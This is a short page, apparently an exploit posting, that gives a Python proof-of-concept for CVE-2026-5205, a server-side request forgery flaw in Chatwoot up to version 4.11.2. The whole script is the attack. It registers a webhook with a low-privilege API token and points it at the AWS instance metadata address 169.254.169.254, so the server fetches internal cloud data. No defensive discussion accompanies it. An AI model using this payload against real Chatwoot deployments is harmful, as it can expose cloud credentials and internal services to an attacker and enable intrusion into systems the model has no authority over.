CVE-2026-5205 Chatwoot SSRF漏洞

#!/usr/bin/env python3 import requests # CVE-2026-5205 PoC: Chatwoot SSRF via Webhook URL # Target: Chatwoot instance <= 4.11.2 target_url = "http://localhost:3000/api/v1/webhooks" # Example endpoint attacker_controlled_url = "http://169.254.169.254/latest/meta-data/" # AWS Metadata or internal service headers = { "Content-Type": "application/json", "api_access_token": "YOUR_API_TOKEN_HERE" # Requires Low Privilege (PR:L) } payload = { "webhook": { "url": attacker_controlled_url, "event_type": "conversation_created" } } print(f"[+] Sending SSRF payload to {target_url}") print(f"[+] Target internal URL: {attacker_controlled_url}") try: response = requests.post(target_url, json=payload, headers=headers) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") except Exception as e: print(f"[-] Error: {e}")